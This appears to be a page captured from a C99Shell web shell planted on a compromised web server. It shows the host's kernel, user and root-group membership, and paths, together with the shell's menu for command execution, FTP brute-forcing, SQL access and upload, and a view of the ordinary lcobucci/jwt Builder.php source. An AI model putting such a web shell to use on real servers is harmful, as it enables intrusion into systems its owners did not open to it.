!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/lcobucci/jwt/src/Token/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Builder.php (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types=1);

namespace 
Lcobucci\JWT\Token;

use 
DateTimeImmutable;
use 
Lcobucci\JWT\Builder as BuilderInterface;
use 
Lcobucci\JWT\ClaimsFormatter;
use 
Lcobucci\JWT\Encoder;
use 
Lcobucci\JWT\Encoding\CannotEncodeContent;
use 
Lcobucci\JWT\Signer;
use 
Lcobucci\JWT\Signer\Key;

use function 
array_diff;
use function 
array_merge;
use function 
in_array;

final class 
Builder implements BuilderInterface
{
    
/** @var array<string, mixed> */
    
private array $headers = ['typ' => 'JWT''alg' => null];

    
/** @var array<string, mixed> */
    
private array $claims = [];

    private 
Encoder $encoder;
    private 
ClaimsFormatter $claimFormatter;

    public function 
__construct(Encoder $encoderClaimsFormatter $claimFormatter)
    {
        
$this->encoder        $encoder;
        
$this->claimFormatter $claimFormatter;
    }

    public function 
permittedFor(string ...$audiences): BuilderInterface
    
{
        
$configured $this->claims[RegisteredClaims::AUDIENCE] ?? [];
        
$toAppend   array_diff($audiences$configured);

        return 
$this->setClaim(RegisteredClaims::AUDIENCEarray_merge($configured$toAppend));
    }

    public function 
expiresAt(DateTimeImmutable $expiration): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::EXPIRATION_TIME$expiration);
    }

    public function 
identifiedBy(string $id): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::ID$id);
    }

    public function 
issuedAt(DateTimeImmutable $issuedAt): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::ISSUED_AT$issuedAt);
    }

    public function 
issuedBy(string $issuer): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::ISSUER$issuer);
    }

    public function 
canOnlyBeUsedAfter(DateTimeImmutable $notBefore): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::NOT_BEFORE$notBefore);
    }

    public function 
relatedTo(string $subject): BuilderInterface
    
{
        return 
$this->setClaim(RegisteredClaims::SUBJECT$subject);
    }

    
/** @inheritdoc */
    
public function withHeader(string $name$value): BuilderInterface
    
{
        
$this->headers[$name] = $value;

        return 
$this;
    }

    
/** @inheritdoc */
    
public function withClaim(string $name$value): BuilderInterface
    
{
        if (
in_array($nameRegisteredClaims::ALLtrue)) {
            throw 
RegisteredClaimGiven::forClaim($name);
        }

        return 
$this->setClaim($name$value);
    }

    
/** @param mixed $value */
    
private function setClaim(string $name$value): BuilderInterface
    
{
        
$this->claims[$name] = $value;

        return 
$this;
    }

    
/**
     * @param array<string, mixed> $items
     *
     * @throws CannotEncodeContent When data cannot be converted to JSON.
     */
    
private function encode(array $items): string
    
{
        return 
$this->encoder->base64UrlEncode(
            
$this->encoder->jsonEncode($items)
        );
    }

    public function 
getToken(Signer $signerKey $key): Plain
    
{
        
$headers        $this->headers;
        
$headers['alg'] = $signer->algorithmId();

        
$encodedHeaders $this->encode($headers);
        
$encodedClaims  $this->encode($this->claimFormatter->formatClaims($this->claims));

        
$signature        $signer->sign($encodedHeaders '.' $encodedClaims$key);
        
$encodedSignature $this->encoder->base64UrlEncode($signature);

        return new 
Plain(
            new 
DataSet($headers$encodedHeaders),
            new 
DataSet($this->claims$encodedClaims),
            new 
Signature($signature$encodedSignature)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--